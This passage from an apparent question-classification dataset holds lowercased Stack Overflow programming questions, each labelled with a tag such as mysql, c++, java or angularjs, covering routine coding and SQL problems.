       
                 string prid = (gridview1.footerrow.findcontrol( id ) as textbox).text;
                 int proid = convert.toint32(prid);
                 video.proizvodid = proid;
             string naziv = (gridview1.footerrow.findcontrol( naziv ) as textbox).text;
             video.naziv = naziv;
             string opis = (gridview1.footerrow.findcontrol( opis ) as textbox).text;
             video.opis = opis;
             decimal cena=convert.todecimal( (gridview1.footerrow.findcontrol( cena ) as textbox).text);
             video.cena = cena;
             string katid = (gridview1.footerrow.findcontrol( kategorija ) as textbox).text;
             video.kategorijaid = convert.toint32(katid);
             data.proizvodis.insertonsubmit(video);
             data.submitchanges();
           
             gridview1.databind();
         }</code></pre>
 </div>
 </div>
     i try some solution from net but dosen t work. please help",asp.net
mysql doesnot support nested column change <pre><code>    alter table `paylist`    drop primary key     add primary key(`id`)     change column payment_method payment_method varchar(20) null after supplier_id     change column supplier_id supplier_id varchar(32) null after property_number; </code></pre>   the above statment gives an error: error : unknown column  supplier_id  in  paylist . but they can be run in separte statment .e.g.   <pre><code> alter table `paylist`  change column payment_method payment_method varchar(20) null after supplier_id; </code></pre>   and   <pre><code>alter table `paylist`  change column  supplier_id supplier_id varchar(32) null after property_number; </code></pre>,mysql
display the details from one table and count from another table  need to fetch id  name  address details of a man from one table and and number of properties from another table belonging to him     we tried this way    select person.* count(property.id) from person  property where person.id = property.id,mysql
css: capitalizing hard-coded uppercase text  i have content that is in uppercase ( that s the way it s persisted on the back end ) and i have to transform it into  proper case .     i m finding out that  text-transform:capitalize  doesn t work. i suspect there s no css based workaround for that either.   <pre><code>.text-test{     text-transform:capitalize;     } ... &lt;h1 class= text-test &gt;some upper case text&lt;/h1&gt; </code></pre>   is my conclusion correct  thanks,css
how to set top and bottom margin in addhtml  how to add margin-bottom and top at multiple pages pdf     i added plugins jspdf and html2canvas.      <pre><code>               var pdf = new jspdf(  p    mm   [400  455]);                       var specialelementhandlers = {                  #exportthis : function (element  renderer) {                     return true;                     }                 };                  margins = {                     bottom:10                      top:10                      left:10                      right:10                };               pdf.addhtml(document.getelementbyid( exportthis )  5  10  {pagesplit: true }                     function(dispose){                     var pagecount = pdf.internal.getnumberofpages();                      for(i = 0; i &lt; pagecount; i++) {                      pdf.setpage(i);                      pdf.text(195 450  pdf.internal.getcurrentpageinfo().pagenumber +  /  + pagecount + \n );                     }                pdf.save( report.pdf );             } margins); </code></pre>   output     <a href= https://i.stack.imgur.com/3guga.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3guga.png  alt= enter image description here ></a>,javascript
how to add authentication information in url using angularjs  i want to provides authentication information such as user name and password in url to access a rest api using angularjs. how can i do this,angularjs
html - how to open an image in the same web page  as layer on top of the original content  sorry if my explanation is not clear  i am trying to open an image  on a web page.    i am not trying thou to have the image opened  replacing what is on the page; i am trying to open something like a pop up  so you can still see the original page below  and the full size image is on top; almost like if it is a modal view on ios (sorry  no idea how to explain it). something similar to what you see on many sites; when you click on an image  and the image just animate  getting bigger  while the webpage below gets  disabled  (the brightness decrease).    i know how to open the image in a popup  but i don t want to open a different window  i would like to just open the image when someone click on it; and then it close when they click either outside the image or on the image.    saw few web sites that uses this technique  and was wondering if it require some sort of js to run  or if it is a new html extension. i will run these pages on our internal web server  using safari as browser.    can anyone give some info about this effect  my search on google return mostly popup window  but not what i am looking for.,html
howto make such a mysql query   hi there i want to design a football result table from a existing database structure.   <pre><code>team(id  name) game(id  team1id  team2id  goalsteam1  goalsteam2) </code></pre>   the result table should look like:   <pre><code>name games points name games points name games points </code></pre>   (the points can be get by looking who hase make more goles (win=3 draw=1 loose=0))    i dont know how to make the query can somebody help me,mysql
html: show abbreviated text; let full text be copied to clipboard  i m trying to achieve the following effect in a dynamic web page:   <ul> <li>the quick brown [...] lazy dogs.</li> </ul>   when the user hovers over any of this text  they see the full sentence. the ... is some sort of link-like element such that when the user right clicks on it  they can copy the full text:  the quick brown fox jumped over the lazy dogs.  goes into the clipboard.    for now  i kludged it using <code>mailto:</code>. that is to say:   <pre><code>&lt;span title= the quick brown fox jumped over the lazy dogs. &gt;   the quick brown   [&lt;a href= mailto:the quick brown fox jumped over the lazy dogs. &gt;...&lt;/a&gt;]   lazy dogs. &lt;/span&gt; </code></pre>   with the above  the functionality is <strong>exactly right</strong>  except that the browser s context menu says  copy e-mail address   which the text isn t. if the menu item said  copy full text  it would be perfect.    i tried using a <code>data:</code> url (inline data)  but firefox s context menu refers to it as copy link location (it isn t a location) and doesn t strip the <code>data:</code> prefix as it does the <code>mailto:</code> prefix!    i don t want to pollute the code with some complicated thing in javascript just for this.,html
does java has default implementation to restore original object state   basically  i want to reset object to the default state.  i think about the following:   <pre><code>// first declaration object a = new object(); /*  some job over object */ //assign a new object to reset it a= new object(); </code></pre>   another idea is to create method inside object class  which will set the desired values  so    <pre><code>a.reset(); </code></pre>   is there some default way to do that or does anyone have a better idea,java
asp.net how to get the id of the button user clicked  i have a small problem. i am developing an online seat reservation system which allow users to click and select seats. i am using buttons for seats. i am writing a method for the button click event for all buttons. i need to know how to identify the id of the button  user clicked. thanks in advance.,asp.net
how best to develop the sql to support search functionality in a web application   like many web applications (business) the customer wants a form that will search across each data field.  the form could have 15-20 different fields where the user can select/enter/input to be used in sql (stored procedure).    these are quite typical requests by the user that most every application has to deal with.    the <strong>issue</strong> really at hand is how to provide the user with this type of interface/option <strong>and</strong> establish fast sql access.  the above fields could span 15 different tables and respective sql statements (usually abstracted to a stored procedure) will have as many joins.  the data always has to be brought back to a grid type view as well as some report format (often excel).    i/we are finding these sql statements are slow and hard to optimize as the user can enter 1 or 15 different search criteria.    how should this be done  looking for suggestions/ideas as to how existing large applications deal with these requirements.<br> does it really come down to trying to optimize the sql within the stored procedure     thx,sql
can we display duplicate items in an array with ng-repeat in angularjs   i have an array with repeated items.i want to go through all the items in my array with ng-repeat.but iam unable to display the duplicate items which are repeated values in my array.how can i display the duplicate items with ng-repeat,angularjs
rails 4 site-wide filter records  is it somehow possible to filter database records site wide  my models are <code>league</code>  <code>match</code>   <code>team</code>  <code>player</code> and <code>detail</code>. now i would like when i enter the site and select a <code>league</code> that everything on the site is only displaying data for this specific <code>league</code>.     my relations are:   <pre class= lang-ruby prettyprint-override ><code>league has_many matches match belongs_to team1 match belongs_to team2 team has_many players player has_many details </code></pre>   would that be possible,ruby-on-rails
how to find direction of device movement   i am implementing one iphone application in which i want to find direction of device on movement.i dont know how to find.can u help me for this query.thnks in advance.,iphone
how i can use crystal report 8.0 in c# 2008   i want use crystal report 8.0 (native version) in my .net apllication  how i can use this in .net.,c#
insert multiple characters in a string  just trying to learn some new skills on sql  i don t know whether this is possible but  i have order numbers as per the below   <pre><code> 11074   11075   11076  ...and so on </code></pre>   but i need the output to be:   <pre><code> 11-0:7-4   11-0:7-5   11-0:7-6  </code></pre>   however the code i am using only allows me to output  11-076   i cannot find a way to put the  :  or the second  -  in.   <pre><code>select    left(o.orderid 2) +  -  as orderid_new from    orders o </code></pre>   is there anyway of using left and right functions for this or does it need use of other functions     there is no reason why i am doing this except from learning :)    thanks  dan,sql
class composition confusion  i am using code blocks v16*    i got this error and i cannot figure out what seemed to be the problem:   <blockquote>    person.cpp:17:62: note:   mismatched types ‘const std::basic_string&lt;_chart  _traits  _alloc>’ and ‘void’        std::cout &lt;&lt;  birthdate:   &lt;&lt; birthdateobj.showbirthdate();                                                                 ^   process terminated with status 1 (0 minute(s)  0 second(s))   1 error(s)  0 warning(s) (0 minute(s)  0 second(s))  </blockquote>   here is my simple program:    person.h   <pre><code>#ifndef person_h #define person_h  #include &lt;birthdate.h&gt;  class person {     public:         person(int age  birthdate birthdateobj);         virtual ~person();          void showpersoninformation();      private:         int age;         birthdate birthdateobj; };  #endif // person_h </code></pre>   person.cpp   <pre><code>#include  person.h  #include &lt;iostream&gt;  person::person(int age  birthdate birthdateobj) : age(age)  birthdateobj(birthdateobj) {     //ctor }  person::~person() {     //dtor }  void person::showpersoninformation() {     std::cout &lt;&lt;  current age:   &lt;&lt; age &lt;&lt; std::endl;     std::cout &lt;&lt;  birthdate:   &lt;&lt; birthdateobj.showbirthdate(); } </code></pre>   birthdate.h   <pre><code>#ifndef birthdate_h #define birthdate_h   class birthdate {     public:         birthdate(int day  int month  int year);         virtual ~birthdate();          void showbirthdate();      private:         int day  month  year; };  #endif // birthdate_h </code></pre>   birthdate.cpp   <pre><code>#include  birthdate.h  #include &lt;iostream&gt;  birthdate::birthdate(int day  int month  int year) : day(day)  month(month)  year(year) {     //ctor }  birthdate::~birthdate() {     //dtor }  void birthdate::showbirthdate() {     std::cout &lt;&lt; day &lt;&lt;  /  &lt;&lt; month &lt;&lt;  /  &lt;&lt; year; } </code></pre>   main.cpp   <pre><code>#include &lt;iostream&gt; #include  birthdate.h  #include  person.h   int main() {      birthdate birthdateobj(7  16  1995);     //birthdate *pbirthdateobj = &amp;birthdateobj;      person personobj(20  birthdateobj);     person *ppersonobj = &amp;personobj;      ppersonobj-&gt;showpersoninformation();     //pbirthdateobj-&gt;showbirthdate();      return 0; } </code></pre>,c++
how to push a new view through navigationbutton class   i have a class called <code>button class</code>  which inherits from <code>uinavigationcontroller</code>.in this class i have defined 4 buttons on navigation and these buttons are <code>login button</code>  share button  like button  option button..in the project there are many views and i want these buttons on every view.        so what i did is make an object of this class in every other class and call its <code>viewdidload</code> function in every class. the problem is here when i click on the login button and try to push a  sign in view  that s not actually happening.                                   can any one help in this regard,iphone
https interception by fiddler  how to prevent https interception by fiddler,asp.net
con t convert cstring or string to int  i wang to cin a int string  but failed  so i cin string then use strcpy to copy string to char  then use atoi to convert char to int. but still failed. can you help me  that s the error  invalid conversion from  char  to  const_char* . thanks very much.   <pre><code>    #include &lt;iostream&gt;     #include &lt;string&gt;     #include &lt;cstring&gt;     #include &lt;cstdlib&gt;     void juge_output(int input_one[]);     void change(char middle_one[] int input_one[]);     using namespace std;     int main()     {         int input_one[1000] input_two[1000];         char operat middle_one[1000] middle_two[1000];         string cin_one cin_two;         cin&gt;&gt;operat;         cin&gt;&gt;cin_one;         cin&gt;&gt;cin_two;         strcpy(middle_one cin_one.c_str());         strcpy(middle_two cin_two.c_str());         change(middle_one input_one);         change(middle_two input_two);         juge_output(input_one);         cout&lt;&lt;operat;         juge_output(input_two);         return 0;     }     void juge_output(int input_one[1000])     {         if(input_one[0]&gt;0)             cout&lt;&lt;input_one[0];         if(input_one[0]&lt;0)             cout&lt;&lt;input_one[0];         for(int i=1;i&lt;1000;i+2)         {           if(input_one[i]&gt;1)           cout&lt;&lt; x^ &lt;&lt;input_one[i];           if(input_one[i]==1)             cout&lt;&lt; x ;         }         for(int m=2;m&lt;1000;m+2)         {             if(input_one[m]&gt;0)                 cout&lt;&lt; + &lt;&lt;input_one[m];             if(input_one[m]&lt;0)                 cout&lt;&lt;input_one[m];         }     }     void change(char middle_one[] int input_one[])     {         for(int i=0;i&lt;1000;i++)             input_one[i]=atoi(middle_one[i]);     } </code></pre>,c++
prevent activity from being destroyed from service  i m using the following code to load an activity in a view:   <pre><code>localactivitymanager mgr = getlocalactivitymanager();  intent i = new intent(this  someactivity.class);  window w = mgr.startactivity( unique_per_activity_string   i); view wd = w != null   w.getdecorview() : null; </code></pre>   which seems to work perfectly. the only problem is that the activity which was loaded gets destroyed  so i cannot work with the activity.   <blockquote>    ** activity (main) create  isfirst = true **        ** activity (main) resume **        ** activity (main) pause  userclosed = false **        ** activity (main) resume **        ** service (windowservice) create **        broadcastreceiver has been initialized.        ** service (windowservice) start **   ** activity (rammonitor) create  isfirst = true **        ** activity (rammonitor) resume **        ** activity (main) pause  userclosed = true **        ** activity (rammonitor) pause  userclosed = true **  </blockquote>   the activity gets called from a service.    is there a way i can prevent my activity of getting destroyed  or just to keep it focused when it s created,android
angular: what is the significance of link option in directive  i am learning angular and some time stumble to understand code and their significance. see the sample below code and tell me what is link option in directives      what kind of purpose link option solve or does   when code inside link option fire   please give me some insight about link option. thanks   <pre><code> var myapp = angular.module( myapp   []);     myapp.directive( ngfinishrender   function ($timeout) {         return {             restrict:  a               link: function (scope  element  attr) {                 if (scope.$last === true) {                     $timeout(function () {                         scope.$eval(attr.ngfinishrender);                     }  0);                 }             }         }     });      myapp.controller( mycontroller   function ($scope  $timeout) {         $scope.lists = [             { name:  a   isshow: true }              { name:  b   isshow: true }              { name:  c   isshow: false }              { name:  d   isshow: false }              { name:  e   isshow: true }              { name:  f   isshow: true }          ];          $timeout(function () {             $scope.lists[2].isshow = true;         }  3000);          $timeout(function () {             $scope.lists[3].isshow = true;         }  6000);                $scope.finish = function () {             console.log( finish );         }     }); </code></pre>,angularjs
iphone: how to create sandbox environment for inapppurchase application  can you guide me how to create sandbox environment and implement sandbox test in     inapppurchase application,iphone
sending non-ascii text in http post header  i am sending a file to a server as an octet-stream  and i need to specify the filename in the header:   <pre><code>string filename =  «úü¡»¿.doc  url url = new url( http://www.myurl.com ); httpurlconnection conn = (httpurlconnection) url.openconnection(); conn.setrequestmethod( post ); conn.addrequestproperty( accept    application/json; charset=utf-8 ); conn.addrequestproperty( content-type    application/octet-stream; charset=utf-8 ); conn.addrequestproperty( filename   filename); // do more stuff here </code></pre>   the problem is  some of the files i need to send have filenames that contain non-ascii characters. i have read that you cannot send non-ascii text in an http header.    my questions are:   <ol> <li>can you send non-ascii text in an http header </li> <li>if you can  how do you do this  the code above does not work when filename contains non-ascii text. the server responds with  bad request 400 .</li> <li>if you cannot  what is the typical way to get around this limitation </li> </ol>,java
1030 got error 28 from storage engine  i am working on a project where i need to create a database with 300 tables for each user who wants to see the demo application. it was working fine but today when i was testing with a new user to see a demo it showed me this error message    <pre><code>1030 got error 28 from storage engine </code></pre>   after spending some time googling i found it is an error that is related to space of database or temporary files. i tried to fix it but i failed. now i am not even able to start mysql. how can i fix this and i would also like to increase the size to maximum so that i won t face the same issue again and again.,mysql
using a vector as a parameter (c++)  i m trying to print the even numbers of the first 25 fibonacci numbers.  however  i think i have a problem when using a vector as a parameter for my function below.  do you see what i m doing wrong       <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; using namespace std;  int main(){   int j=1  k=1  sum;   vector&lt;int&gt; myvector(25);   for (int i=0; i&lt;25; i++) {     //cout &lt;&lt; j &lt;&lt;    ;     myvector[i] = j;     sum=j+k;     j=k;     k=sum; }     findeven(myvector);     system( pause ); }    int findeven (vector&lt;int&gt;){ for (int i = 0  i &lt; 25; i++){ if (vector[i] % 2 == 0){     cout &lt;&lt; vector[i]; } } else{ } </code></pre>   },c++
in ios what sitiuation may result in wild pointer  <pre><code>student *stu = [[student alloc] init];  [stu setage:10];  [stu release];  [stu setage:10]; </code></pre>   at the code  if stu released stu become a wild pointer. but those code only appear below mrc what may lead to wild pointer below arc,ios
how to tell if two pictures are the same   i want to create a motion sensor. basically  if the iphone camera detects motion  a command will happen. to create a motion sensor in the simplest way possible  i want to make the iphone take a picture every second. then  i want the iphone to compare the newest picture with the picture that was taken before to see if they are the same. if the pictures are the same  nothing happens (because no motion was detected). if the pictures is different  then the command will happen (because motion was detected).     in essence  i need the iphone taking a picture every second and then compare the newest picture with the previous one to see if they are identical or not.    any help would be appreciated  thank you,objective-c
cannot swap values of nodes  i am trying to swap node values. there are no compilation errors. i am using visual basic for my programming.  if someone could point out where i am going wrong. will be a great help.     also  what could i add in my code  so swap any values  whether it being a char or int.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   struct lnode {     int data;     struct lnode* next; };  void swapnodes(struct lnode* n1  struct lnode* n2);  int main() {     struct lnode nodea  nodeb;     nodea.data = 1;     nodeb.data = 2;      swapnodes(&amp;nodea  &amp;nodeb);     getchar();     return 0; }  void swapnodes(struct lnode* n1  struct lnode* n2) {     struct lnode* temp;     temp = n1-&gt;next;     n1-&gt;next = n2;     n2-&gt;next = temp;     printf( nodea= %d  nodeb= %d  n1-&gt;data n2-&gt;data); } </code></pre>,c
objective c variable counting  i have some variables like <code>vh1</code> <code>vh2</code> <code>vh3</code> etc. is it possible in a for-loop to count with the i variable      i mean something like <code>for(int i = 1; blablabla) { [[vh + i] setbackgroundcolor blablabla];}</code>    regards    edit: vh1 etc. are uilabels!!!,objective-c
rails 3 exception notification error  i am converting a rails 2.3.5 app to rails 3 app. i am getting an error in the below code    the error   <pre><code>undefined method `filter_sensitive_post_data_parameters  for #&lt;#&lt;class:0x0000010726a478&gt;:0x000001069e7080&gt; </code></pre>   in app/views/exception_notifier/_request.rhtml     <pre><code>  &lt;% if @request.respond_to (:protocol) %&gt;         * url       : &lt;%= @request.protocol %&gt;&lt;%= @host %&gt;&lt;%= @request.request_uri %&gt;         * ip address: &lt;%= @request.env[ http_x_forwarded_for ] || @request.env[ remote_addr ] %&gt;         * parameters: &lt;%= send(:filter_sensitive_post_data_parameters @request.parameters).inspect %&gt;         * rails root: &lt;%= @rails_root %&gt;         &lt;% else  %&gt;         * exception did not occur in controller  and was recoverable.         &lt;% end %&gt; </code></pre>   stuck for 3 hours. please help,ruby-on-rails
string or binary must be truncated  i have a problem with my c# code. when i execute it  it says:    <blockquote>    string or binary must be truncated.  </blockquote>   this is my code:   <pre><code> using (sqlcommand command = connect.getconnection().createcommand())  {        command.commandtype = system.data.commandtype.text;       command.commandtext =  insert into adherent values(@id @nom @prenom @adresse @n_tel @date_inscription @nbre_emprunt @garentie) ;       command.parameters.add( @nom   system.data.sqldbtype.nchar).value = model.nom;       command.parameters.add( @prenom   system.data.sqldbtype.nchar).value = model.prenom;       command.parameters.add( @adresse   system.data.sqldbtype.nchar).value = model.adresse;       command.parameters.add( @n_tel   system.data.sqldbtype.decimal).value = model.mobile;       command.parameters.add( @date_inscription   system.data.sqldbtype.datetime).value = (object)model.dateinscrit    dbnull.value;       command.parameters.add( @nbre_emprunt   system.data.sqldbtype.decimal).value = model.numbreemprunt;       command.parameters.add( @garentie   system.data.sqldbtype.decimal).value = model.garentie;       command.parameters.add( @id   system.data.sqldbtype.int).value = model.id;       //model.id = int32.parse(command.executescalar().tostring());        command.executenonquery();               } </code></pre>   this is my db:   <pre><code>create table [dbo].[adherent] ( [id]               int        not null  [nom]              nvarchar(50) not null  [prenom]           nvarchar(50) not null  [adresse]          nvarchar(50) not null  [n_tel]            bigint        not null  [date_inscription] datetime   not null  [nbre_emprunt]     int        null  [garentie]         float (53) null  primary key clustered  </code></pre>   and these are the values:   <pre><code> adhnew.id = 123;  adhnew.nom =  fusca ;  adhnew.prenom =  fusca ;  adhnew.adresse =  12 rue fusca ;  adhnew.mobile = 25698741;  adhnew.dateinscrit = datetime.now;  adhnew.numbreemprunt = 0;  adhnew.garentie = 0; </code></pre>,sql
angular ng-repeat - each item in collection repeating per number of items in collection (weird)  i am having a weird issue trying to spit out some data into a table using angular s ng-repeat directive.     it seems to be repeating a each item in the collection per number of items in the collection.  so in this example i have five items  each item is repeated five times  rather than spitting out each of the five items in the collection just once.    fiddle: <a href= http://jsfiddle.net/boovius/pzkrq/6/  rel= nofollow >http://jsfiddle.net/boovius/pzkrq/6/</a>   <pre><code>&lt;div ng-app&gt; &lt;div ng-controller= channelsctrl &gt;     &lt;table&gt;             &lt;tr ng-repeat= channel in channels &gt;                 &lt;td &gt;{{channel.title}}&lt;/td&gt;                 &lt;td &gt;                     &lt;button type= button  class= btn-danger &gt;delete&lt;/button&gt;                 &lt;/td&gt;             &lt;/tr&gt;     &lt;/table&gt; &lt;/div&gt;   &lt;/div&gt;  function channelsctrl($scope) {  var data = [{      title :  sports  }  {      title :  adventure  }   {      title :  shorts }   {     title :  beauty }   {      title :  spirituality  }]   $scope.channels = data;   } </code></pre>,angularjs
how to write ostringstream directly to cout  if i have an <code>std::ostringstream</code> object called <code>oss</code>  i understand i can do <code>std::cout &lt;&lt; oss.str()</code> to print out the string. but doing <code>oss.str()</code> would result in the returned string being copied. is there a way to print directly the underlying <code>streambuf</code>     thanks in advance!,c++
how to split a big file 32 gb or more using c   i have a piece of code which reads a file but small file size and split them into smaller files. i want to make this code read big size file like 32 gb or more and support different kind of data type files hopefully  looking for answer to help    <pre><code>#include &lt;stdio.h&gt; int main(){      file *ptr_readfile;     file *ptr_writefile;     char line [128]; /* or some other suitable maximum line size */     char fileoutputname[15];     int filecounter=1  linecounter=1;      ptr_readfile = fopen( editing for the java lab 2.txt   r );     if (!ptr_readfile)         return 1;      sprintf(fileoutputname   file_part%d   filecounter);     ptr_writefile = fopen(fileoutputname   w );      while (fgets(line  sizeof line  ptr_readfile)!=null) {         if (linecounter == 5) {             fclose(ptr_writefile);             linecounter = 1;             filecounter++;             sprintf(fileoutputname   file_part%d   filecounter);             ptr_writefile = fopen(fileoutputname   w );             if (!ptr_writefile)                 return 1;         }         fprintf(ptr_writefile  %s\n   line);         linecounter++;     }     fclose(ptr_readfile);     return 0; } </code></pre>,c
sql joining two tables and relabeling column  i am using an sql database  which is a dbms. its the lyric database. (i ll be happy to clarify if my description is insufficient).    my salespeople table (with the salesids) is as follows:    <strong>salespeople:</strong>   <pre><code>salesid | firstname | lastname ------- | --------- | --------         |           | </code></pre>   and my studios table is as follows:    <strong>studios:</strong>   <pre><code>studioid | name | city | contact | salesid -------- | ---- | ---- | ------- | -------          |      |      |         | </code></pre>   i have started the query in the following way:   <pre><code>select st.salesid  coalesce(sp.salesid   does not work ) --does this match harry lee  from studios st inner join salespeople sp on sp.salesid = st.salesid; </code></pre>   and as well:   <pre><code>select st.* from studios st inner join salespeople sp     on sp.salesid = st.salesid where st.contact =  harry lee ; </code></pre>   but i am unsure as to relabel the column. i know to relable the column (as i sort of hint in the query above with the coalesce function).    however  how to i include that in the prior query whilst still adhering to the specifics of question  and again  i ll be happy to clarify the question if my description is insufficient.,sql
how to draw bordered letter   i am searching about drawing bordered text on uiview.    implemented following method :   <pre><code>- (void)drawrect:(cgrect)rect {      //todo draw bordered text here.  } </code></pre>   how to draw it       i mean each letter is bordered of whole text.    thanks in advance.,iphone
convert int to bytes(nsstring)  how do i convert integer to bytes string (nsstring of bytes)       i used the below code char barr[4];<br> barr[0] = (unsigned int) (num &amp; 0xff);<br> barr[1] = (unsigned int) ((num >>8) &amp; 0xff);<br> barr[2] = (unsigned int) ((num>>16) &amp; 0xff);<br> barr[3] = (unsigned int) (num >>24);      nsstring *str = [nsstring stringwithformat:@ %x  barr];     but i am getting  bffff648  but not in binary data which i want such that nslog will print unreadable binary data,iphone
php s fopen slow for large files; is there a better alternative   php s <code>fopen</code> is really slow when the file is really big. when i read the file using python (single thread)  the operation is x100 faster.    my project requires us to use php for reading file data. are there any other methods to handle file reads with php that would offer better performance     btw - memory is not an issue i m cleaning in runtime.     thanks for suggestions.,php
how do i easily get a key from a value in a hashmap in java  i can t seem to find any easy way of getting a key from a value in a hashmap in java.  what i find i either do not understand or does not explain the actual process of getting the key from the value but it does explain the tool to use.,java
how to turn an object around and move into the opposite direction   considering out of bounds position is 6 and -6.    i want to make the ship turn around and move in the opposite direction.    this is the code i have.. it is still not working 100% how i want it. i am curious to see if anyone had any ideas how do improve. here is the logic of my code.   <pre><code>//if the ship hits a boundary it turns around and moves in the opp. //direction. to do this  the ship s velocty should be flipped from a  //negative into a positive number  or from pos to neg if boundary //is hit.  //if ship position is -5 at velocity -1 new ship pos is -6 //if ship position is -6 at velocity -1 new ship velocity is +1 //                                      new ship position is +5 </code></pre>   here is my code:   <pre><code>public void move()  {     position = velocity + position;      if (position &gt; 5)     {         velocity = -velocity;     }     else if (position &lt; -5)     {         velocity = +velocity;     } } </code></pre>,java
not understanding return behavior in python  i was just trying a simple code:   <pre><code>import sys  def main():     print  this is main      return  string1   if __name__ ==  __main__ :     sys.exit(main()) </code></pre>   and when i run this piece of code  it gives random result  sometimes  string1  before  this is main  and sometimes after it.    why is it so     2 sample outputs:   <blockquote>    this is main         string1        process finished with exit code 1  </blockquote>   ============   <blockquote>    string1        this is main        process finished with exit code 1  </blockquote>,python
wierd section defined not rendered exception  i have two layouts  one is the shared layout and the other one is inhereted layout. in my inhereted layout i got a section defined   <pre><code>@section descriptionmeta{     &lt;meta name= description  content= some content  /&gt; } </code></pre>   in my base layout   <pre><code>@if (issectiondefined( descriptionmeta )) {     rendersection( descriptionmeta   true); //break point on this line then it works } else {     //default meta } </code></pre>   everytime i run it i get - the following sections have been defined but have not been rendered for the layout page  ~/views/shared/_layout.cshtml :  descriptionmeta .     here is the interesting part. i put a break point on <code>rendersection( descriptionmeta   true);</code> and i step through (f10) it  then it works! if i get rid of the break point then i get that exception. i have tried clean rebuild reopen vs and its not helping. any thoughts,asp.net
mysql dynamically selecting fields within join   i am looking to dynamically select specific columns within a join query in which a specific field will only be selected if the value of another is not equal to 0.    so here s what i have going on.    the query uses the following 3 tables  users - schools - campuses    i would like to select all of the data from users  and if the campus_id field of users is not equal to 0  then i would like to include the campus name field of campuses where campuses.id = users.campus_id  how would i do this,mysql
error: int cannot be converted to class   unitedstates class is the the binary search class   <pre><code>public class unitedstates { // instance variables private arraylist &lt;state&gt; states;  public unitedstates() {    states = new arraylist &lt;state&gt; ();      readfile();    printstates();     searchstates();   }  public void searchstates() {     scanner keyboard = new scanner(system.in);     string ans =  y ;     system.out.println();     system.out.println( ===================== );     system.out.println(      searching );     system.out.println( ===================== );      while(ans.equalsignorecase( y ))     {         system.out.println();         system.out.print( enter state --&gt; );         string statename = keyboard.nextline();           state state = binarysearch(states  statename);          if(state == null)            system.out.println( state not found );         else         {           system.out.println();           system.out.println( state name       =   + state.getname());           system.out.println( state capital    =   + state.getcapital());           system.out.println( state nickname   =   + state.getnickname());           system.out.println( state population =   + state.getpopulation());           system.out.println();          }           system.out.println();         system.out.print( search again[y/n]  );         ans = keyboard.nextline();      } }  // performs a binarysearch on states searching for key // if key is found it returns the state object that // corresponds to key; otherwise it returns null public int binarysearch(arraylist&lt;state&gt; states  string key) {         int left = 0;         int right = states.size() - 1;          while(left &lt;= right)         {             int midpoint = (left + right) / 2;              int result = states.get(midpoint).compareto(key);              if(result == 0)             {                 return midpoint;             }             else if(result &lt; 0)             {                 left = midpoint + 1;             }             else             {                 right = midpoint - 1;             }  }         return -1;     }  public void printstates() {     for(state s : states)     {         system.out.printf( %-15s   s.getname());         system.out.printf( %-15s   s.getcapital());         system.out.printf( %-25s   s.getnickname());         system.out.printf( %10s\n   s.getpopulation());      } }  public void readfile() {     scanner scan = null;     try     {         scan = new scanner(new file( states.txt ));     }     catch(filenotfoundexception ex)     {         system.out.println( file not found! );     }      string name;     string capital;     string nickname;     int population;     while(scan.hasnextline())     {         name = scan.nextline();         capital = scan.nextline();         nickname = scan.nextline();         population = scan.nextint();         if(scan.hasnextline())         {           string dummy = scan.nextline();            }           state state = new state(name  capital  nickname  population);         states.add(state);     }    } } </code></pre>   this is the state class   <pre><code>public class state implements comparable { // instance variables private string name; private string capital; private string nickname; private int population;  public state(string n  string c  string nn  int p) {     name = n;     capital = c;     nickname = nn;     population = p; }       public string getname() {     return name; }  public string getcapital() {     return capital; }  public string getnickname() {     return nickname; }  public int getpopulation() {     return population; }  // comparable interface method // casts obj to a string  then calls the string class s // compareto method to compare the name of this state // to the name passed in the parameter list. it returns // either a positive number  negative number  or zero.     @override public int compareto(object statename) {       state state = (state)statename;        string otherstatename = state.getname();        return name.compareto(otherstatename); }  } </code></pre>   i am currently working on a binary search project and i am having issues with resolving an error that i do know how to address. i am trying to call the binarysearch method at the line ( state state = binarysearch(states  statename); ) in the unitedstates class  but the error it gives is  incompatible types: int cannot be converted to state . i do not know how i can convert an int type to a class and i would really appreciate it if someone could tell me how to address this error.,java
sharing variables between controller an view in a rails app  in my controller i am collecting data (into a hash) like this (note that i do not have a <code>billingaddress</code> model in my app  <code>@billing_address</code> is standard ruby hash   <pre><code>@billing_address = params[:billing_address] </code></pre>   my view is laid out like this   <pre><code>&lt;%= text_field_tag  billing_address[phone]  %&gt; </code></pre>   i want to show the previous value that user entered (in case of errors)  like this:   <pre><code>&lt;%= text_field_tag  billing_address[phone]   @billing_address[ phone ] %&gt; </code></pre>   however  this gives me an exception saying i am trying to access nil  ideas,ruby-on-rails
basic sql - show all values for a specific item  i m totally new to sql so i guess my question is quite simple but i wasn t able so far to peform the desired output by myself.    i did a survey and asked 3 people to solve assignment a (with 3 tasks) and 3 people to solve assignment b (with 3 tasks).    and then i made a table which looks like this:   <pre><code>table: results +---------+---------+---------+---------+---------+ | id      | assgnid | answer1 | answer2 | answer3 | +---------+---------+---------+---------+---------+ | 1       | a1      | 20      | 45      | 80      |    | 2       | a1      | 22      | 40      | 82      |   | 3       | a1      | 25      | 39      | 85      | | 4       | a2      | 45      | 10      | 75      | | 5       | a2      | 50      | 15      | 72      | | 6       | a2      | 50      | 12      | 80      | +---------+---------+---------+---------+---------+ </code></pre>   what i now want to do is  to show for assgnid a1 and a2 all the answers in one row like this:   <pre><code>table: results per assgnid +---------+---------+---------+---------+---------+--------+---------+---------+--------+---------+---------+ | id      | assgnid | answer1 | answer2 | answer3 |answer4 | answer5 | answer6 |answer7 | answer8 | answer9 | +---------+---------+---------+---------+---------+---------+---------+---------+-------+---------+---------+ | 1       | a1      | 20      | 45      | 80      | 22     | 40      | 82      | 22     | 40      | 82           | 2       | a2      | 45      | 10      | 75      | 50     | 15      | 72      | 50     | 12      | 80                   +---------+---------+---------+---------+---------+---------+---------+---------+-------+---------+---------+ </code></pre>   i m able to show the distinct assgnid by using distinct or group by but i can t show all the results in the same output.    do i have to try something with a join     i appreciate your help a lot. thanks,sql
